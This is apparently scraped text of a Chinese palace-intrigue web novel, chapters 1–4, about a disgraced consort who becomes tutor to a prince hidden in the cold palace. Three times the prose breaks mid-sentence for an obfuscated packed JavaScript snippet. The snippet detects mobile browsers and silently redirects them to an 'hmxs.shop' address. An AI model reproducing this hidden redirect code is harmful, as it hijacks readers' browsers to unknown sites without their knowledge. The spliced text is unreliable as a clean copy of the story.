《风流太后养成计划》 1. 冷宫废妃 善儿横死的那天晚上,秋雾浓重,冷月犹如一张惨白的病女人的脸,爬满斑驳的泪痕。 娄庄姬呆呆地凝视着石阶上风干的血——这滩血迹的主人踩到青苔滑倒,磕破了头而死,很快被一卷草席裹着送出宫了。 “宫里每天都在死人,”太监良直抹着眼泪,“她走的无声无息,根本没人在乎。” “我呢,我走了会不会有人在乎?”娄庄姬喃喃地问。 此时,冷宫遥远的南面,贵妃的宫殿里,为小皇子庆祝周岁的音乐声响彻云霄。满溢的欢乐无私地涌到凄清的冷宫,似乎想要给这些不幸的人儿也分点喜气。几个废妃走出房门,像几炷香似的插在地上,呆滞地望着乐声的方向。 欢乐流过了耳畔,却流不进心里。 娄庄姬想到,贵妃现在一定小鸟依人地依偎在皇帝怀里,用玉手掩着樱桃小嘴,咯咯地笑呢。正是这张嘴,在一个月前,毒蛇吐信般吐出了将娄庄姬打入深渊的诽谤:是她意图将有毒的脂粉混进小皇子的餐食里,暗害龙嗣。 娄庄姬在冷宫的每一个晚上,脑中都在重演那个瞬间。泣涕涟涟的贵妃,勃然大怒的皇帝,未来得及分辩就被拖下去的她。她忘了自己叫屈的时候,是否看到了贵妃的冷笑。但不管有没有那抹笑,她都清清楚楚地知道:自己在后宫这场你死我活的斗争中,败了。 皇帝的心分给每一个嫔妃的不多,而她的那份早已被贵妃占据了。 南面的乐声愈发热闹,也愈发勾起娄庄姬的悲愤。她不明白,明明在白天害了一条性命,为什么贵妃还能这么心安理得地为自己的孩子庆生、祈福。难道对她来说,一个落魄仇人的宫女的命,就像小猫小狗的一样无足轻重吗? 就在今日白天,贵妃杖毙了娄庄姬曾经的贴身婢女善儿,理由是冲撞宫妃、举止无端。 善儿在娄庄姬失势后,被撵到了浣衣局做苦役。她忠心耿耿,一个月以来,想尽办法搭上其他妃子,恳求她们为娄庄姬美言。她的冒险没有逃过贵妃容不得沙子的眼睛,贵妃随口一声令,一条年轻的性命就静悄悄地陨落了。 太监良直是善儿的同乡,追随着善儿进宫。如今也是他,第一个为善儿哭泣,将噩耗带给娄庄姬。 娄庄姬听闻消息,只觉得眼前一黑,险些晕厥过去。 宴会的音乐很喧闹,良直的流泪很安静。 他递给娄庄姬一根用帕子包住的玉钗,说: “这是娘娘送善儿的第一件礼物,善儿说,若她在宫中活不了了,拜托我务必将此物还给娘娘,算是今生主仆缘分,有始有终了。” 娄庄姬的眼眶红了。她摩挲着那根带血的玉钗,无语凝噎。无论是对善儿的悲,还是对贵妃的恨,站在她的境况来看,都那么无力。 良直向她行了一礼,悲戚道:“奴婢进宫,本就是为了陪着善儿,尽力护她周全。如今,奴婢活在世上,没有什么牵挂了。今来,既是报信,也是与娘娘诀别。” 娄庄姬一瞬间没有反应过来。听懂之时,良直已经遁入茫茫黑夜之中,冷宫破旧的宫门成了良直的生死门。 娄庄姬只觉得自己的命运像一块铅一样,直直坠入水中,很快消失在漆黑的深潭。 深夜,她侧卧在床上,陷入了又一次无望的失眠。月光照得她的脸煞白,乌黑的眼睛里满是不甘与悲痛。 她头脑里很乱。想善儿的音容笑貌、想良直的深情不渝;想自己得宠时的花团锦簇,想冷宫里的凄清孤单;想入宫前梦想做一代贤妃的少女,想坠入深渊不得翻身的废妃。 背后传来窸窸窣窣的声音。是与她共一间房的涂氏回来了。 冷宫废妃之间,还是以被废前的位分相称,像是对过往荣华的怀念。这位涂氏就被称作涂才人。娄庄姬在几位废妃中位分最高,大家都叫她娄婕妤——她听来如此讽刺。 娄庄姬并不喜欢涂才人。 涂才人长她十几岁,算起来属于皇帝最早选秀进宫的一批妃子。据她所说,她已经在冷宫住了十多年,还开玩笑自己估计要葬在冷宫荒芜的地里了,虽然娄庄姬听着不觉得这会是一个玩笑。 涂才人不知是不是住习惯了,每天并无悲戚之状,喜欢在院子里坐着,给废妃们讲笑话和怪谈。她应该在外面有门路,得到的吃食用度最好,人又大方,并不吝啬与别人分享,经常给哭哭啼啼的人塞一把瓜子,说磕着打发时间就忘记悲伤了。娄庄姬因为进冷宫以来,一直强忍着不流泪,还没有得到过她的馈赠。 按理说这是个顶好的人。可只有与她同居一室的娄庄姬知道,涂才人有磨镜之癖。她来的第一天晚上,涂才人邀她同榻而眠,她以为好意,就答应了。谁知到了后半夜,半睡半醒间,感到有手在自己身上摩挲,把她吓得从床上一跃而起,对涂才人破口大骂。 “我虽然落魄,也不是随便可以轻薄的!” 可是也换不了房,别的废妃基本上都有点疯病,神志清醒的另一位柳美人,说什么都不肯与人同住。没办法,她只好跟涂才人约法三章,决不许再有亲密举动。涂才人摆出一副无赖相同意了。 涂才人进房时,把自己搂得紧紧的,哈着气抱怨道:“今晚可真冷呀。” 她一扭头,看见娄庄姬干瞪着眼没睡着,挑逗着问道: “你冻得睡不着?不如跟我一起睡好了,权当取暖。” 这一问可不得了。娄庄姬本来已经满腹的委屈了,又被她这么一调戏,觉得自己沦落到这步田地,叫天不应叫地不灵,今天又失去了与外界唯一的联系善儿和良直,更要受人骚扰轻薄,清清白白的一个女儿家,就这样陷入泥沼任人羞辱了。她积压了许久的痛苦全变成泪水涌出眼眶,呜呜咽咽地哭起来。 涂才人听到啜泣的声音,凑近去看。月光下娄庄姬的脸湿了一片,眼睛里水光晶莹。见她靠近,用袖子遮住脸,紧咬着唇,却没止住眼泪的喷涌。 涂才人大惊:“这可是稀罕事,进来一个月了,终于哭出来了!” 她追问:“你怎么了,那个小太监跟你说什么了让你这么伤心?” “不要你管!” 涂才人叉着腰,冷笑着说:“我在这待了这么多年,什么惨事儿没听过,你的故事对我也不算稀罕。只是害了你自己,这事揣在心里不说出来会憋出病来的,你没看到东厢房的那两个疯子吗?她们就是把苦闷在心里,活活把自己折磨疯的。哦,不对,现在应该只有一个疯子了,今早台阶上碰死了一个。” 她的目光高高在上,审视着娄庄姬:“你也想变得和她们一样吗?“ 娄庄姬放下袖子,一双倔强的眼睛瞪着涂才人坏笑的脸。 涂才人跪到她榻边,说: “我知道,你从前是不可一世的婕妤娘娘,皇上的心上人。只是不走运,得罪了人,落到跟我们一样的境地。不过是你心里憋着一口气,还不甘心,还想出去,正是因为有执念,才把自己忧心成这个样子。” 娄庄姬反问她: “想出去又怎么样,难道像你一样,在冷宫里等死吗?你认命了,我还没有!” 涂才人并没有被她的话刺到,反而很认可地说: “你还年轻,不过十八岁的妙龄,就这样认命,我也会为你可惜的。” 她又话锋一转,“不过,要说不认命,你在冷宫里可不是排第一的。” 娄庄姬问:“还有谁?” 涂才人笑:“你认识柳美人吧,她是我们这数一的执着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974343|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娄庄姬疑惑:“柳美人?要说她坚持一个人住,那确实是一等一的固执。可她平常不怎么出门,我没跟她说过几句话。我瞧她每日浑浑噩噩的,有什么出奇?” 涂才人示意她凑近些,神神秘秘地低语道: “你知不知道柳美人为什么不让别人同住?” 娄庄姬摇头。 “因为那屋子不只她一个人。她藏了人。” 娄庄姬瞬间毛骨悚然。涂才人用她平日里讲怪谈的语气吐露这个秘密,娄庄姬脑中刹那浮想联翩:柳美人窄小的西厢房似有鬼魅栖居,阴气森森。 “你看,她平常哪怕出来透气,都一定把门窗关紧。更别提让人进屋了。凑近她门边,有时候,你会听到人窃窃私语的声音,一个是柳美人,另一个是······” 她卖了个关子,娄庄姬背后发凉,又惧又急,问:“是谁?” 涂才人还是不明说: “是她的执念,是她出去的希望。” “到底是什么!”娄庄姬快要叫出声来。 “嘘,”涂才人狡黠一笑,“是她儿子。” 娄庄姬此时好比五雷轰顶,涂才人的脸在她眼中扭曲了,天地好似翻转过来,她身下是虚空的,肩上却承受了千钧重担,直压得她胸口喘不过气来。 见到她花容失色,涂才人反倒面带得意,继续说:“是她和皇上的儿子,也就是说,我们这儿有一位皇子。” 真希望自己在做一场噩梦啊!娄庄姬心中哀嚎。她本该与这些废妃形同陌路的,她本该等着皇上记起曾经的情分,或证明她的清白,让她离开这个地狱,从此忘记这些不幸的女人的。可现在,她好像一头扎进了一个巨大的漩涡,一股强力扯着她无法逃离。 “你别不信,柳美人如今是饱受摧残,容颜不再了。她曾经也是得到皇上宠幸的,只是像这儿的所有人一样,和人斗输了沦落至此。不过不知是她的造化还是她的不幸,她比我们多出一个孩子,一个见不得天日的孩子。这孩子是一缕缥缈但真实的希望,只待一个时机,就可助她脱离苦海。” 娄庄姬喘着粗气,强逼着自己冷静下来,接受这个难以接受的真相。 方才的颤栗慢慢消散。 她忽而打了个激动的寒颤。她重新咀嚼这个秘密,把它的耸人听闻蜕去,从中品悟到了一个机会,自救的机会。 她知道一双大手已经攥住了她的命运,将她推到了一个走投无路的悬崖,又机缘巧合地给了她一座危险的独木桥,所有的乾坤扭转、改时易命都在她自己的决断里了。 她从柳美人的希望中,看到了自己的希望。 “我明天要去见见那孩子。”她斩钉截铁地告诉涂才人。 涂才人只是眯起了眼睛,没反对也没赞成。只是轻飘飘地提了一句。 “想去那就去呗。” 又说:“你没哭了呀。” 娄庄姬才意识到自己的眼泪已经止住了,脸上只有干巴巴的泪痕。 涂才人分享完了这个秘密,懒洋洋地打算回床上睡觉了。娄庄姬突然冒出一个疑问,道: “你怎么会知道的?你把这件事告诉我,她不会生气吗?” 涂才人摆摆手。 “我跟她很熟,她不会生气的。” 娄庄姬盯着她的背影,觉得她也没那么讨厌了。于是套近乎地问道: “想起还没问过呢,姐姐闺名是?” 涂才人的轻笑在黑暗中响起。 “我们可还没有熟到这个地步。” 娄庄姬吃了个瘪,默默地躺下了,房间回归了沉寂。 她莫名其妙:人和人能熟到在一张床上动手动脚、吐露禁忌的秘密,却没有熟到能告诉名字。 2. 初遇 第二日,天刚蒙蒙亮的时候,娄庄姬就起床了。 她一晚上都没有睡着,满脑子想着柳美人那张干瘦蜡黄的脸,和她身后牵着的一个面目模糊的小孩。 虽然冷宫中不讲究修饰仪容,但她还是仔细地整理着装、梳好发髻,力求把自己打扮得体面。一旁半梦半醒的涂才人嘲笑道: “你穿得再花哨,顶着黑眼圈和肿眼皮也好看不到哪去。” 娄庄姬不理她,径直朝柳美人的房间走去。 涂才人的预言没错。柳美人的房门,不似其他房间的漏风、缺口,上面糊了一层又一层浆纸,距人于千里之外的紧闭,像一张撬不开的嘴。 面对娄庄姬,这张嘴保持了一贯的严实。 娄庄姬吃了一次实打实的闭门羹,灰溜溜地回到房间。涂才人一边坐在床边嗑瓜子,一边笑嘻嘻地道: “喂,见到小殿下了吗,他多高,多胖啊?” 娄庄姬没心思跟她拌嘴,靠在窗边生闷气。 涂才人拍了拍身上的瓜子壳,站起来走向她,说道: “现在可不是婕妤娘娘了,不是谁都会给你开门。更何况,人家又不知道你打的什么主意,万一你揣着一肚子坏水呢,体谅一下为娘的心情吧。” 说着,她给娄庄姬递了把瓜子。娄庄姬没多想,神使鬼差地就接过了。 涂才人笑着揽过她的肩膀,说道: “告诉我,你找那孩子是要干嘛呀?这件事我说着玩玩,你知道就够了,人家母子俩的事,用得着外人操心吗?” “她为什么要把孩子藏起来?若是皇上知道与她育有一个皇子,难道不会放她出来,母子安享富贵吗?” “哼,皇帝根本不在乎。” “这可是皇子。” “皇子又怎样,你想揭发她,去告诉皇上吗?” 娄庄姬感到落在她脸上的目光变得像刀一样尖锐,一抬头,涂才人第一次露出了像狼审视猎物一样的眼神。她佯作镇定。 “不,我想她一定有苦衷,我不会做伤害她意愿的事。” 涂才人的目光柔和一些。 “的确,每个人都有苦衷。” “虽然我今天敲不开她的门,但日子久了,或许她哪一天愿意了呢?” “你真的想见那孩子吗,非见不可吗?” “是的。” “我话说在前面,这件事你忘了最好,若是卷进来,就没有那么容易抽身了。 娄庄姬迟疑着点了点头,紧跟着又重重地点了一次。 “好吧,不用你天天去人家门前守着那么麻烦,我跟你一起去,她知道是我就会开门。” “什么?真的吗?” “想要见皇子,她不是第一关,我才是。” 柳美人的门打开了。而一看到站在涂才人身后的娄庄姬,她的脸色一下子沉下来了,在她四周形成了一种警惕与排斥的气压。娄庄姬觉得她很像一头护着幼崽的母兽,虽然这头母兽已经形销骨立、面色枯槁,仍没有忘记时刻绷紧神经,敌视可能会威胁她孩子的一切。 涂才人倒是大大咧咧,拉着娄庄姬的衣袖就进了门。 柳美人的房间又小又暗,窗户关得严实,大白天室内仅靠一盏火光微弱的油灯照明。 与其他房间形成鲜明对照的是它整洁干净得出奇,不知是不是光线不好模糊了视线,一眼扫去看不见任何蜘蛛网、老鼠屎、蚊虫残躯一类的秽物。 连柳美人自己,也是高盘云髻、衣带整肃、面庞干净,荆钗布裙也难掩她的气质。娄庄姬庆幸自己早晨梳洗了一番,不然肯定要遭她白眼。 娄庄姬一进屋就四处逡巡,可并没有看见孩童的身影,连一双小鞋、小衣服都没有。徒有四壁的房间,哪儿能藏下一个孩子呢? 没等她接着猜想,柳美人就开始诘问了: “她想干什么?” 涂才人关上门,屋内更黑了。四方的空间挤压着娄庄姬,让她突然心生惧意,恐怕自己是踏进了一个猎物的笼子里了。 涂才人悠悠答道:“她一定要见见你的儿子。我还不知道她打的什么主意呢?不过没事,” 她顿了一顿,贴在娄庄姬后颈吐气,明显是威胁她,“她要是有什么对你和你儿子不利的想法,我们也可以在这里结果了她嘛。” 娄庄姬感到一阵凉意顺着颈椎攀上来。 涂才人又笑着拍她的肩膀。 “开个玩笑。” “先听听她的主意。” 娄庄姬终于可以说出自己的计划了,但在这样神经兮兮的气氛下,她的开口只得小心翼翼的。 “姐姐的皇子养在这个地方,妹妹情知是迫不得已,吃穿用度都缺少些,想必也难得学些诗书经文。皇子禀赋非常,只怕白白蹉跎时光,被浪费了。妹妹虽不才,但愿将少时私塾中所学见闻,尽数讲与皇子,或能有所助益。“ 她面前的两人静静听完她的一番话,不约而同地皱起了眉头。 “说了这么多文绉绉的绕来绕去,你想当我儿的老师,给他讲诗书?”柳美人冷笑,“不必了,我也自诩有些学问,这些年,也没忘了教他识字读书。” 娄庄姬又尝试道: “敢问姐姐的皇子贵庚?” “虚岁十二。” 竟然在冷宫将孩子养到这么大了! “不知他现在读什么书?” 柳美人支支吾吾的:“已经会背几首诗了···这关你什么事?” “这个年龄的皇子,该要熟读四书了。天赋高的,已经可以写作政论了。” 柳美人不说话了,脸上是一种混着羞赧与哀伤的复杂神色。 娄庄姬知道,纵使这个孩子见不得光,做母亲的也盼望着他成才。柳美人这样哀愁,明显是觉得孩子被耽误了。 涂才人插嘴道:“她教不了她儿子,你就教的了?” 娄庄姬挺起了胸膛,自信地说:“家父领史馆修撰,最重读书,教导子女必要博览群书、通晓经文。我虽然是家中最不成器的一个,粗粗教授四书五经还是够格的。又加上家中史书最多,我自小翻阅,可为皇子评论古今盛衰,虽然比不上外面大学士那样渊博,倒也堪堪。” 涂才人乐了:“瞧瞧,真说到她得意之处了。” 柳美人显然有些动心了。 “这么做对你有什么好处?” 娄庄姬昨夜早已构思好了这个问题的答案,此刻脱口而出: “妹妹后半生,恐怕要在冷宫中凄清度日,最后玉殒香消, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974344|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕无人知晓。只可惜一生草草而过,既无子嗣繁衍,又无诗文流传。妹妹不甘心身后寂寞,愿略尽绵薄之力,裨益姐姐皇子,他日殿下有成,妹妹亦不悔此生。” 她言辞恳切,句句凄婉,咬定了自己没有出头之日,把情状描述得可怜至极,以望博取同情。 她又以情动人:“何况妹妹愿与姐姐们作伴,又沾一沾皇子青春旺盛之气,日子也不会那么难熬。姐姐也知道,深宫孤寂,着实让人经受不住啊。” 柳美人沉默了,像是内心在进行一番艰难的斗争。 半晌,她长吁一口气,说道:“好吧。” 娄庄姬大喜过望,还没来得及道谢,柳美人向床榻的方向叫了一声: “我儿,出来见见你师父吧。” 话音刚落,松垮的床板开始颤动。娄庄姬目不转睛,看见从黑漆漆的床底下,钻出一个人影来。 谁家的皇子会从床板底下钻出来啊!她惊得嘴巴都闭不上了。 那孩子走近了,娄庄姬得以上上下下仔细打量他一番。 他很矮,很瘦,完全不似一个虚岁十二的少年应有的体格,放在七八岁的孩子里面,也算瘦弱的,仿佛风一吹就会飘走,留他的母亲望眼欲穿。身上的衣服,明显已经很旧了,应该是几年前做的,现在居然还没有显小。而且,由于久居室内,他面庞白的发青,像一张透明的宣纸,一戳就破。还有那双不知向哪安放的骨碌碌、黑漆漆的大眼睛,在他的脸上存在感那么强,将木讷和狡黠出奇地揉在一个人身上。 柳美人指着娄庄姬告诉他:“这位姐姐以后就是你的师父了。你现在要拜师,要行跪拜礼。” 娄庄姬赶忙拦住要跪下的少年,抓住他胳膊的时候吓了一跳:这与抓住一根骨头有什么分别。 “妾经不起殿下大礼。” 柳美人坚持让她受礼:“我们虽然在冷宫中,该有的规矩还是要有。我们没有什么能给师父的礼品,就让他把叩首礼行完吧。” 娄庄姬只好先为少年整理他洗的发白的衣服。然后端立着,看着他在自己脚边给自己磕了三个响头。 紧接着,柳美人又倒了一杯冷茶,让他奉给她。娄庄姬接过,从容饮下。 她复述了当年自己师父给她念的训言: “···尊师重道,友爱同门···吾道以仁心立本,以勤勉为径···入则孝,出则悌,谨而信,泛爱众,而亲仁···” 娄庄姬摘下手上的玉镯子,将它套上少年纤细的手腕,道:“我身上也没有什么书籍,文房四宝更是一件不存。只有这镯子还算宝物,就将它赠予弟子,以为师徒之证。” 师徒之礼已成。 “对了,还不知道殿下的名字呢?” 柳美人脸红了:“我还未敢给他取名字。” 娄庄姬明白了:她心里一定还有一点期待,期待有一天这个孩子恢复名分,能得到皇帝亲赐的名字。 涂才人说:“名字本来就是身外之物,若你平常叫着不方便,你作为师父给他起一个也没什么大不了的。”柳美人点头表示同意。 娄庄姬深思熟虑,蹲下来,牵着少年的手,一字一句地说: “澍,你的名叫澍,意思是久旱逢霖,逢凶化吉。你叫皇甫澍。” 3. 冷宫中的龙凤 皇甫澍是个很木讷的孩子。 “《诗经》第一首,会背吗?” 少年垂着眼点点头, 柳美人在一旁催道:“背给师父听啊。” 他于是用蚊蝇大小的声音,低着头背完了整首《关雎》: 优美纯真的诗句,在他口中失去了一切节拍和韵律,连停顿句读都没有,更别说读出感情了。 娄庄姬皱起了眉头,若是她上学时按照这种方式背书,手臂要被打紫。 但看着这少年一副低眉顺眼、不敢直视她的胆怯模样,又想到他从小的生长环境,她还是把到了嘴边的批评咽下去了。 “很流利,不错。” 她勉强夸道。 “知道它是讲什么的吗?” 少年没有反应。娄庄姬以为他是没有听见,又重复了一遍,他还是一言不发。柳美人着急地推了他一把,他还是木愣。 “知道就说话,不知道就摇摇头。”他母亲斥道。 “没事,”娄庄姬宽慰她,“他长这么大,怕是第一次在外人面前说话吧,而且还是考他功课,害羞也是正常的。” 柳美人凄然道:“这孩子从小就只对着我这一张脸,门都不敢出,哪里见过别人呢。可怜的孩子,养成了这么一副不爱说话的脾性。” 她泫然欲泣。皇甫澍看母亲伤心,扯了扯她的袖口,摇摇头,意思是:娘不要哭。 就从这一幕,娄庄姬又看出了“孺子可教”。毕竟百善孝为先,这孩子哪怕木讷了点,会心疼母亲,就说明他本性不坏,加以引导,就算不成才,也能成人。 她耐住性子,很温柔地讲解道: “雎鸠是一种水鸟,会“关关”地叫。一雌一雄两只在河洲上相对而鸣,情挚有别。就像君子和淑女,彼此爱慕又不轻浮,是为良配。开篇第一首,就是歌颂感情真挚,德行美好。” 皇甫澍还是闷闷地不作声,眼神到处乱飘,就是不肯直视她。 娄庄姬无奈:“哪里不懂吗?” 他从喉咙里咕隆出一句:“水鸟是什么样的?” 娄庄姬在脑中搜寻一番,只回忆得起书上拙劣的图画,搜罗词句描述到: “水鸟就是栖居在池塘、河溪里的鸟。它们也会飞。比如鹤就是一种水鸟。” “我知道鹤,但没见过。我只见过乌鸦,还有喜鹊。” 他眼神不定,估计是陷入到对鸟的回忆中去了。 课程进展得很慢,皇甫澍要不就默不作声,要么就眼神空空。娄庄姬一边讲诗,一边确认他是否听懂,一边还要留神把他的注意力拉回来。 加上他好不容易听进去几句,就显得很疲累,一定要歇息一会儿。一个上午,才勉强把《关雎》讲通,还不知道皇甫澍吸收了多少。 于是涂才人进门的时候,看见的就是师徒二人精疲力尽的场景。 “还在上课呢?歇歇吧,放饭了,再不去就没饭吃啦!” 冷宫粗陋的餐食实在让人提不起胃口。一天两顿,午饭和晚饭,不过是干冷的馒头和一两碟馊了一半的菜,勉强充饥不至于活活饿死。 涂才人作为冷宫最有门路的废妃,使了银子,得到的饭食最体面。只有她能吃到白米饭,菜也不是馊的,偶尔还有点荤腥、鸡蛋。这在外面最朴素不过的饭菜,在冷宫就成了稀品了。她平常磕的瓜子也是从门外来的,是她在冷宫上等身份的象征。 三人领了饭,聚在柳美人的房里一起吃。 娄庄姬注意到,柳美人把馒头掰了一大半给皇甫澍,又把看着新鲜的菜挑出来,让他吃。自己就随便糊弄几口了事。 她又是心酸又是感慨,难怪柳美人骨瘦如柴,本来就份量不足的饭食,还要分出一大半喂养孩子。这样的苦日子,亏她吃糠咽菜地熬住了。 涂才人今天拿到了一个鸡蛋,她把蛋黄掏出来,整个的夹到皇甫澍碗里。回头看见娄庄姬敬重的目光,吐了吐舌头嬉笑道: “别这么看着我,我只是不喜欢吃蛋黄。” 娄庄姬也把自己的餐食分给了皇甫澍。柳美人一惊,赶紧拦住,慌忙说: “这孩子就是吃这些过来的,你自己日子也不好过,没必要做这个善人。” 娄庄姬苦涩一笑:“他正是长身体的时候,每天又吃不饱,又晒不到太阳的,怎么能行?我少吃几口,也没什么大碍。” 柳美人推脱不成,热泪盈眶地抚着娄庄姬的臂膀。 皇甫澍本来一直沉默不语,这时也抬起埋在碗里的头,漆黑的大眼睛盯着娄庄姬,半晌后冒出一句轻轻的: “谢谢师父。” 娄庄姬一上午的疲累和不满在这句话面前烟消云散了。 阴暗的屋子里,几乎在此灭绝的欢声笑语又复生了。娄庄姬和涂才人你一言我一语地拌嘴,柳美人偶尔插上几句,皇甫澍很安静地用好奇的目光注视她们的言笑。 “这小妮子有一点说的对,这孩子得去多晒晒太阳,不然白的跟张纸似的,多吓人。喏,一会儿对面屋子那疯子睡下了,带孩子去院子里走走!” 涂才人拍板有一种不容置疑的魔力,柳美人似乎对她很信任,娄庄姬就顺着她俩的意思。 秋日午后,阳光很好,把凉丝丝的空气都烘暖了。黄叶铺了满地,和低伏的芭蕉摩挲出“沙沙”的响声。 无人打扫的冷宫院落,总是飘浮着树叶味、泥土味、青苔味、甲虫味,但在娄庄姬这里,所有的味道都被柳美人衣服上幽幽的木香、涂才人身上暖洋洋的炭火味盖过了。 皇甫澍在院子里,不跟人说话,也不看寥落的树木残花、斑驳的石桌石凳,只是昂着头,呆呆地看着蓝得不掺一点杂色的天空。 有南飞的雁群掠过树梢,牵动了他的目光,直至它们无影无踪。 “好大的一群乌鸦。”他喃喃道。 “那是大雁。”娄庄姬指正。 “我从没见过。” “它们秋天要离开这里,去南方过冬。” “离开这里?” “大雁和人不一样,大雁每年都会迁徙,很多人一辈子都没挪过地儿。”涂才人说。 “我也想离开这里。为什么我不能生为一只大雁呢?”皇甫澍说话永远像自言自语。 涂才人看向一旁冷清的风景,柳美人面带愁容。 娄庄姬说: “你还小,大雁小的时候,也是不能离巢的。” 她紧接着又说: “而且你不会做大雁,你该做鹰、做凤,遨游四海,巡视天下。” 她看见皇甫澍瘦小的身躯震颤了一下,回过头来,眼睛里充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974345|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊异。 她是不是说错话了。这少年此时的境地,明显只能做一只在笼子里的困鸟,给他讲什么出人头地、为龙为凤,怕是不合时宜。 柳美人也赶忙说: “哪怕一生只在一个地方,平平安安度过也是万幸。这些鸟儿四方飞翔时,在路上不幸的也有很多。” 说罢又不满地瞟了娄庄姬一眼。 娄庄姬悻悻地闭上了嘴。 谁知皇甫澍若有所思,严肃地对柳美人说: “娘,若能遨游四方,孩儿哪怕半路而亡,又有什么不情愿的呢。” 三人闻言俱是一怔。娄庄姬看出,这个少年表面的拘谨怯懦下,藏着未被发掘的渴望与追求。孤寂的冷宫对他来说,实在是太小了。 冷宫到底不该是龙雏栖身之地。她想。 涂才人走过来,在她耳边暗骂一句:“你挑拨他做什么?” “话可是他自己说的。”她回嘴道。 令三人更诧异的是,皇甫澍学着鸟儿飞过的样子,张开双臂,弯下腰背,做出飞翔的姿态,嘴里模仿着咕咕的叫声。 柳美人那表情,好像自己儿子是中邪了一般。 皇甫澍“咕咕”、“咕咕”一通叫完,又在原地愣住了,迷茫地问: “我为什么不能飞起来呢?” 娄庄姬听到涂才人的轻笑。 “人不像鸟儿一样在天上飞。人的飞翔是以另一种形式。”她说。 “人怎样飞,师父?” “人走到众人高处,这就是人的飞。” “众人高处?” 涂才人一拍掌,打断他们神神叨叨的对话,不耐烦地说:“好了好了,别把你那套禄虫的话灌给孩子听了。” 虽说娄庄姬的话被掐断,失去了后续,但谁知道皇甫澍会不会自己在脑海中把话补完呢?谁知道他会怎么想呢? 涂才人把娄庄姬拉到一旁,警告她: “我们是让你来讲学的,不是让你教他做些不切实际的梦的!别让他变得跟你一样。” “跟我一样?我什么样?”娄庄姬有些不忿,“你想说,像我一样想离开这鬼地方吗?” “你自己明白就好。你用什么手段出去我不关心,但这孩子轻易见人了,命能不能保住都是个问题,还惦记你那套飞黄腾达的话呢。” “笑话,我是他师父,我要教他正其位,谋其事。” “你才当他师父一天都不到,一日为师的时间都没有。” 娄庄姬愈发恼了,“他怎么说都是个皇子,现在无论体魄还是学问,连个平民人家的孩子都比不上,这像话吗?让他做他这个身份应做的梦,又怎么了?” 涂才人轻蔑又愤怒地剜她一眼。 “他与普通皇子能相比吗?他命不好,托生在了这个没福气的娘的肚子里,一辈子就注定了躲躲藏藏。” 娄庄姬余光看着母子俩,质问她: “那你之前说,这孩子是她出去的希望。她若是不想这孩子身份大白,怎么出去呢?” 涂才人诡异一笑。 “她当然可以出去,不过要等,还要赌运气。” “什么意思?” 涂才人转身,拍了拍身后石凳上的落叶,盘腿坐下。 “想听个故事吗?” 4. 庭院深深 宫廷里没有一座实际的宫殿得名“冷宫”。它只是一种代称,指代失宠获罪妃子的居所。 这些犯了错的妃子们本来四散在东西六宫,缩在自己的宫殿里顾影自怜。不知是本朝哪一位宠妃,对这些一无所有的手下败将们仍觉不满,对皇上说,这些贱婢的宫门散发着一股腐臭的气息,把道路都熏得难闻了,给她们选一座偏僻的屋子,让她们自生自灭去吧。皇上宠爱她,百依百顺,那些因悲痛容颜憔悴的废妃们的哭号根本不足挂齿。于是,这些永无翻身机会的人被运往皇宫西北角的两座老旧的宫殿——清心阁和存芳殿,她们的声音被重重宫墙阻拦,再也传不到任何人耳朵里。 于是冷宫就慢慢从宫人们的嘴里诞生——一个在夜里会听到女人哀嚎的地方。 那位把眼中钉们圈禁起来的妃子,不久后也像一件破衣服一样,被变心的皇帝甩到了她指定的冷宫里。当然,这都是后话。 进了冷宫的妃子,大都或因肝肠寸断、或因被仇敌斩草除根,早早暴死了。到了娄庄姬进来的时候,比起传闻中的恐怖,她更感觉到冷清。 她所在的存芳殿,现在只有四名废妃在住。她、涂才人、柳美人,还有一位每天披头散发的疯妃。 与她们隔了一扇小门的清心阁更热闹,每天晚上都能听到此起彼伏的哀嚎嘶吼。两宫之间的小门打不开,但从门缝中可以用眼神交流。涂才人就很喜欢从这条缝里向对面喊话,多半会招来一阵怒骂,让存芳殿的寂静一扫而空。 存芳殿的角落里,种了一棵很茂盛的银杏树。每年叶子金黄时,是足不出户的冷宫妃子们唯一能欣赏的景致。涂才人就是在这棵树下,给娄庄姬讲故事的。 柳美人闺名单字一个慈,以美貌被选入宫,曾经也是红极一时的人物,皇上日日召她伴驾,让她同自己坐在一辆车辇上,以示恩宠。 她也很有福气,承恩几月,便有了身孕,那时候,皇上前几位皇子全都早夭,膝下只有一位公主,于是格外看重她这一胎。太医诊脉又说,胎儿脉象有力,他日成人必是身强力壮、人中龙凤,皇上更是喜欢的不得了。 